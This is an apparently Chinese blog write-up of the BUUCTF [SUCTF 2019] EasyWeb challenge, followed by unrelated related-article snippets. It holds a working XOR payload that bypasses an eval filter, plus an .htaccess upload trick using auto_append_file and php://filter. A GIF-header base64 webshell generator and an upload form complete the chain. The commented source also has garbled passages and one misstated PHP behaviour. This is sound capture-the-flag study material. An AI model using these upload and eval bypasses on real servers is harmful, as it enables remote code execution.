当前位置: 首页 > news >正文

1.【BUUCTF】[SUCTF 2019]EasyWeb

进入题目页面如下

给出源码开始代码审计

<?php
// 定义一个名为 get_the_flag 的函数,该函数主要处理文件上传逻辑
function get_the_flag(){// 构造用户上传文件的目录,目录名是 "upload/tmp_" 加上客户端 IP 地址的 MD5 哈希值$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);// 检查该目录是否存在,如果不存在则创建该目录if(!file_exists($userdir)){mkdir($userdir);}// 检查是否有文件上传if(!empty($_FILES["file"])){// 获取上传文件的临时文件名$tmp_name = $_FILES["file"]["tmp_name"];// 获取上传文件的原始文件名$name = $_FILES["file"]["name"];// 提取文件扩展名$extension = substr($name, strrpos($name,".")+1);// 使用正则表达式检查文件扩展名是否包含 "ph"(不区分大小写),如果包含则终止程序并输出 "^_^"if(preg_match("/ph/i",$extension)) die("^_^"); // 读取上传文件的内容,检查是否包含 "<?", 如果包含则终止程序并输出 "^_^"if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");// 检查上传文件是否为有效的图像文件,如果不是则终止程序并输出 "^_^"if(!exif_imagetype($tmp_name)) die("^_^"); // 构造上传文件的最终保存路径$path= $userdir."/".$name;// 将上传的临时文件移动到最终保存路径,使用 @ 符号抑制可能的错误信息@move_uploaded_file($tmp_name, $path);// 输出文件保存的路径print_r($path);}
}// 从 GET 请求中获取名为 "_" 的参数值,并使用 @ 符号抑制可能的错误信息
$hhh = @$_GET['_'];// 如果没有获取到 "_" 参数的值,则高亮显示当前 PHP 文件的源代码
if (!$hhh){highlight_file(__FILE__);
}// 检查 "_" 参数值的长度是否超过 18 个字符,如果超过则终止程序并输出提示信息
if(strlen($hhh)>18){die('One inch long, one inch strong!');
}// 使用正则表达式检查 "_" 参数值是否包含特定字符(包括 ASCII 码 0 - 127 之间的部分字符),如果包含则终止程序并输出提示信息
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');// 获取 "_" 参数值中出现的所有不同字符,并统计字符种类
$character_type = count_chars($hhh, 3);
// 检查不同字符的数量是否超过 12 个,如果超过则终止程序并输出提示信息
if(strlen($character_type)>12) die("Almost there!");// 使用 eval 函数执行 "_" 参数的值作为 PHP 代码
eval($hhh);
?>

代码使用 eval($hhh);

执行用户通过 GET 请求传入的 _ 参数的值,

对参数的过滤有长度和字符种类的限制

文件上传过滤

扩展名过滤:通过正则表达式 preg_match("/ph/i",$extension) 检查文件扩展名是否包含 "ph",防止常见的 PHP 文件上传。
内容过滤:使用 mb_strpos(file_get_contents($tmp_name), '<?') 检查文件内容是否包含 "<?", 防止包含 PHP 代码的文件上传。
图像类型检查:使用 exif_imagetype($tmp_name) 检查文件是否为有效的图像文件,限制非图像文件上传。


代码开始定义了一个函数get_the_flag(),应该是用来处理文件上传的

注释说webadmin每20分钟会删除上传的文件,说明需要利用文件上传后立即执行

函数中创建了一个用户目录,基于用户IP的MD5值。


代码处理GET参数',赋值给Shhh。如果没有传入这个参数,就显示源代码。

如果传入的话,需要满足多个条件:
1.长度不能超过18个字符。
2.通过正则表达式过滤:匹配的字符范围包括\x00到空格(ASCCil 0-32), 0-9, AZa-z,以及一些特殊符号如"~~&,|=,还有\x7F。正则表达式用了li表示不区分大小
写。如果匹配到这些字符中的任何一个,就会拒绝。
3.字符类型(不同字符的数量)不能超过12种,否则拒绝。
通过eval($hhh)执行传入的代码。
代码注入的漏洞,需要构造一个payload满足有限制条件。

分析如何绕过这些过滤:
正则表达式排除了很多字符。注意正则中的模式是\x00-0-9A-Za-z"""~_&.,|=,[x7F]+,包括了大部分可见字符和一些控制字符

正则表达式中的模式可能有一些特殊字符没有被过滤,比如^或{},或者其他Unicode字符

查看正则表达式模式:它是否允许使用$符号?在正则中,「x00-表示从x00到空格(即ASCII 0到32),然后是0-9,A-Za-z,以及那些特殊符号,比如,在ASCII表中,S的ASCII码是36,而0-9的ASCII是4857,所以$不在这个范围内。

所以,正则中的模式是否允许S符号比如,表达式中的0\x00- 0-9A-Zaz...],这里的\x00-可能是指从\x00到空格(ASCII 32),因此,美元符号$ (ASCI36)不在这个范围。所以,可以在payload中使用$符号。


构造$_GET[]();的格式来调用get_the_flag函数

payload

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

?_=...    $_GET['_'] = ...    主注入点,触发动态函数调用
%80%80%80%80^%df%c7%c5%d4    异或运算生成关键字符串    动态构造 _GET
{%80}    $_GET['%80']    提取参数值作为函数名
&%80=phpinfo    $_GET['%80'] = 'phpinfo'    注入要执行的函数名


字符集绕过

使用 %80 等高位 ASCII 字符(非字母/数字),绕过常规正则过滤

preg_match('/[0-9a-z]/i', $input) // 此类过滤失效

长度混淆

操作将关键字符串隐藏在不可见字符中,增加静态分析的难度


漏洞类型

远程代码执行 (RCE)

存在动态函数调用如 $var()

利用 .htaccess 文件和文件幻术绕过代码中对文件上传的严格检查,进而执行任意代码获取 flag。具体步骤为:上传特制的 .htaccess 文件,利用 php_value auto_append_file 和 AddType 指令,配合 php://filter 伪协议绕过对 <? 的检测;同时,为上传的 PHP 代码文件添加 GIF 文件头幻术绕过 exif_imagetype 检测。

.htaccess 文件是 Apache 服务器的配置文件,可用于在目录级别覆盖全局服务器配置。我们可以利用它来改变 PHP 解析文件的方式。

# 指定所有以 .gif 结尾的文件都按 PHP 脚本解析
AddType application/x-httpd-php .gif
# 自动在每个 PHP 脚本执行前包含指定的文件,这里使用 php://filter 伪协议对 base64 编码的内容进行解码并包含
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"

上述 .htaccess 文件

AddType application/x-httpd-php .gif:将 .gif 后缀的文件视为 PHP 文件进行解析。

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif":使用 php://filter 伪协议对 shell.gif 文件内容进行 Base64 解码后包含到每个 PHP 脚本中执行。

2. 构造包含 PHP 代码的 shell.gif 文件

为了绕过 exif_imagetype 对文件内容的检测,我们在文件开头添加 GIF 文件头幻术(GIF89a),并将 PHP 代码进行 Base64 编码。

<?php
// 要执行的 PHP 代码,这里以执行系统命令 cat flag.txt 为例
$php_code = '<?php system("cat flag.txt"); ?>';
// 添加 GIF 文件头幻术
$shell_content = "GIF89a" . base64_encode($php_code);
// 将内容写入 shell.gif 文件
file_put_contents('shell.gif', $shell_content);
?>

上述代码生成了一个 shell.gif 文件,其内容以 GIF 文件头幻术开头,后面是经过 Base64 编码的 PHP 代码。

上传文件

将构造好的 .htaccess 文件和 shell.gif 文件上传到服务器。根据代码中的逻辑,上传目录为 upload/tmp_ 加上客户端 IP 地址的 MD5 哈希值。可以使用以下简单的 HTML 表单进行文件上传

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>File Upload</title>
</head>
<body><form action="http://9d66bcb5-686a-4e45-b6b0-9c1d3174fe9e.node5.buuoj.cn:81/" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" value="Upload" /></form>
</body>
</html>

将 your_php_file.php 替换为实际处理文件上传的 PHP 文件路径。

4. 触发代码执行

上传成功后,访问上传目录下的任意 .gif 文件(实际上会被当作 PHP 文件执行),服务器会根据 .htaccess 文件的配置,对 shell.gif 文件内容进行 Base64 解码并执行其中的 PHP 代码,从而执行 cat flag.txt 命令,用蚁剑连接获取 flag。

相关文章:

1.【BUUCTF】[SUCTF 2019]EasyWeb

进入题目页面如下 给出源码开始代码审计 <?php // 定义一个名为 get_the_flag 的函数&#xff0c;该函数主要处理文件上传逻辑 function get_the_flag(){// 构造用户上传文件的目录&#xff0c;目录名是 "upload/tmp_" 加上客户端 IP 地址的 MD5 哈希值$userdir…...

CloudberryDB(七)二级索引

在CloudberryDB中&#xff0c;二级索引的概念与PostgreSQL中的类似。但是&#xff0c;由于分布式特性&#xff0c;创建和使用二级索引需要考虑一些额外的因素。以下是关于二级索引的一些要点&#xff1a; 1. **创建索引**&#xff1a;在Greenplum中&#xff0c;可以使用CREATE…...

P1878 舞蹈课(详解)c++

题目链接&#xff1a;P1878 舞蹈课 - 洛谷 | 计算机科学教育新生态 1.题目解析 1&#xff1a;我们可以发现任意两个相邻的都是异性&#xff0c;所以他们的舞蹈技术差值我们都要考虑&#xff0c;4和2的差值是2&#xff0c;2和4的差值是2&#xff0c;4和3的差值是1&#xff0c;根…...

何须付费免费它不香吗

聊一聊 又是一年开学季。 开学了发一些应时期的小软件。 今天给大家分享一款学校班级课程表工具。 这款工具可以投放在学校电子大屏上。 支持学校的白板软件。 软件介绍 学校班级课程表 工具界面清爽&#xff0c;信息能一目了然。 虽然看感觉功能简单&#xff0c;但每个…...

ELK组成及实现原理

ELK是由三个主要组件组成的日志处理和搜索平台&#xff0c;分别是&#xff1a; Elasticsearch&#xff1a;Elasticsearch 是一个基于Lucene构建的开源搜索引擎&#xff0c;提供强大的搜索、分析功能。它负责存储和索引所有数据&#xff0c;并提供实时搜索能力。数据可以通过HTT…...

【Vue3源码解析】响应式原理

源码环境搭建 【Vue3源码解析】应用实例创建及页面渲染-CSDN博客 写文章时的Vue 版本&#xff1a; "version": "3.5.13",针对单个包进行开发环境打包、测试。 pnpm run dev reactivityreactive 创建响应式对象 packages/reactivity/src/reactive.ts …...

servlet中的ServletContext

设置、获取ServletContext配置信息 与ServletConfig不同的是&#xff0c;所有Servlet共享一份ServletContext 在web.xml中设置配置信息 <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns"https://jakarta.ee/xml/ns/jakartaee"x…...

第1825天 | 我的创作纪念日:缘起、成长经历、大方向

目录 缘起一、成为创作者的初心&#xff08;一&#xff09;好记性不如烂笔头&#xff08;二&#xff09;文档可以帮助多个人解决同一个问题&#xff08;三&#xff09;加深自己对问题的理解&#xff0c;对技术的研究 二、实战项目中的经验分享&#xff08;一&#xff09;项目背…...

如何在 Mac 上解决 Qt Creator 安装后应用程序无法找到的问题

在安装Qt时&#xff0c;遇到了一些问题&#xff0c;尤其是在Mac上安装Qt后&#xff0c;发现Qt Creator没有出现在应用程序中。通过一些搜索和操作&#xff0c;最终解决了问题。以下是详细的记录和解决方法。 1. 安装Qt后未显示Qt Creator 安装完成Qt后&#xff0c;启动应用程…...

Java 设计模式之迭代器模式

文章目录 Java 设计模式之迭代器模式概述UML代码实现Java的迭代器 Java 设计模式之迭代器模式 概述 迭代器模式(Iterator)&#xff0c;提供一种方法顺序访问一个聚合对象中的各个元素&#xff0c;而又不暴露该对象的内部表示。 UML Iterator&#xff1a;迭代器接口&#xff…...

登录演示和功能拆解

登录演示和功能拆解 表单基础校验实现 1. 基础双向绑定 <template><el-form><el-form-item label"账号"><el-input v-model"formData.username" /></el-form-item><el-form-item label"密码"><el-inpu…...

DeepSeek深度求索API多线程批量写原创文章软件-ai痕迹极低

DeepSeek是一款由国内人工智能公司研发的大型语言模型&#xff0c;拥有强大的自然语言处理能力&#xff0c;能够理解并回答问题&#xff0c;还能辅助写代码、整理资料和解决复杂的数学问题。 与OpenAI开发的ChatGPT相比&#xff0c;DeepSeek不仅率先实现了媲美OpenAI-o1模型的…...

Redis进阶使用

在日常工作中&#xff0c;使用Redis有什么需要注意的&#xff1f; 设置合适的过期时间。尽量避免大key问题&#xff0c;避免用字符串存储过大的数据&#xff1b;避免集合的数据量太大&#xff0c;要定期清除。 常用的数据结构有哪些&#xff1f;用在什么地方&#xff1f; 按…...

Python常见面试题的详解6

1. 按字典 value 值排序 要点&#xff1a;对于给定字典&#xff0c;使用 sorted() 函数结合 items() 方法&#xff0c;依据 value 进行排序&#xff0c;也可以定义一个通用函数&#xff0c;支持按 value 升序或降序排序。示例&#xff1a; python d {a: 1, b: 2, c: 3, d: …...

Linux基础之文件权限的八进制表示法

1. Linux 文件权限概述 在 Linux 中&#xff0c;每个文件或目录都有三种基本权限&#xff0c;分别是&#xff1a; 读权限 - r&#xff1a;允许查看文件内容。写权限 - w&#xff1a;允许修改文件内容。执行权限 - x&#xff1a;允许执行文件或进入目录。 每个文件或目录的权…...

数据结构与算法面试专题——堆排序

完全二叉树 完全二叉树中如果每棵子树的最大值都在顶部就是大根堆 完全二叉树中如果每棵子树的最小值都在顶部就是小根堆 设计目标&#xff1a;完全二叉树的设计目标是高效地利用存储空间&#xff0c;同时便于进行层次遍历和数组存储。它的结构使得每个节点的子节点都可以通过简…...

《On Java进阶卷》阅读笔记(五)

第7章 IO系统 I/O流&#xff1a; IO有很多不同的来源和去处&#xff0c;如文件、控制台网络连接等&#xff0c;而且还涉及需求以很多种方式&#xff0c;如顺序读取、随机访问、缓冲、字符、按行读取、按字读取等。 Java8的函数式流相关的类和IO流之间并无关联。 IO流隐藏了…...

《代码随想录》刷题笔记——回溯篇【java实现】

文章目录 组合组合总和 III电话号码的字母组合组合总和组合总和II思路代码实现 分割回文串※思路字符串分割回文串判断效率优化※ 复原 IP 地址优化版本 子集子集 II使用usedArr辅助去重不使用usedArr辅助去重 递增子序列※全排列全排列 II重新安排行程题意代码 N 皇后解数独直…...

数值积分:通过复合梯形法计算

在物理学和工程学中&#xff0c;很多问题都可以通过数值积分来求解&#xff0c;特别是当我们无法得到解析解时。数值积分是通过计算积分区间内离散点的函数值来近似积分的结果。在这篇博客中&#xff0c;我将讨论如何使用 复合梯形法 来进行数值积分&#xff0c;并以一个简单的…...

AcWing——3624. 三值字符串

双指针解法 #include<iostream> #include<unordered_map> using namespace std; int main() {int n; cin >> n;while(n--){unordered_map<char, int> tree;string s; cin >> s;int ans 0x7fffffff; for(int i 0, j 0; j < (int)s.size();…...

Ubuntu系统下交叉编译openssl

一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机&#xff1a;Ubuntu 20.04.6 LTSHost&#xff1a;ARM32位交叉编译器&#xff1a;arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

Linux-07 ubuntu 的 chrome 启动不了

文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了&#xff0c;报错如下四、启动不了&#xff0c;解决如下 总结 问题原因 在应用中可以看到chrome&#xff0c;但是打不开(说明&#xff1a;原来的ubuntu系统出问题了&#xff0c;这个是备用的硬盘&a…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...

今日科技热点速览

&#x1f525; 今日科技热点速览 &#x1f3ae; 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售&#xff0c;主打更强图形性能与沉浸式体验&#xff0c;支持多模态交互&#xff0c;受到全球玩家热捧 。 &#x1f916; 人工智能持续突破 DeepSeek-R1&…...

JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作

一、上下文切换 即使单核CPU也可以进行多线程执行代码&#xff0c;CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短&#xff0c;所以CPU会不断地切换线程执行&#xff0c;从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

AspectJ 在 Android 中的完整使用指南

一、环境配置&#xff08;Gradle 7.0 适配&#xff09; 1. 项目级 build.gradle // 注意&#xff1a;沪江插件已停更&#xff0c;推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...

Spring是如何解决Bean的循环依赖:三级缓存机制

1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...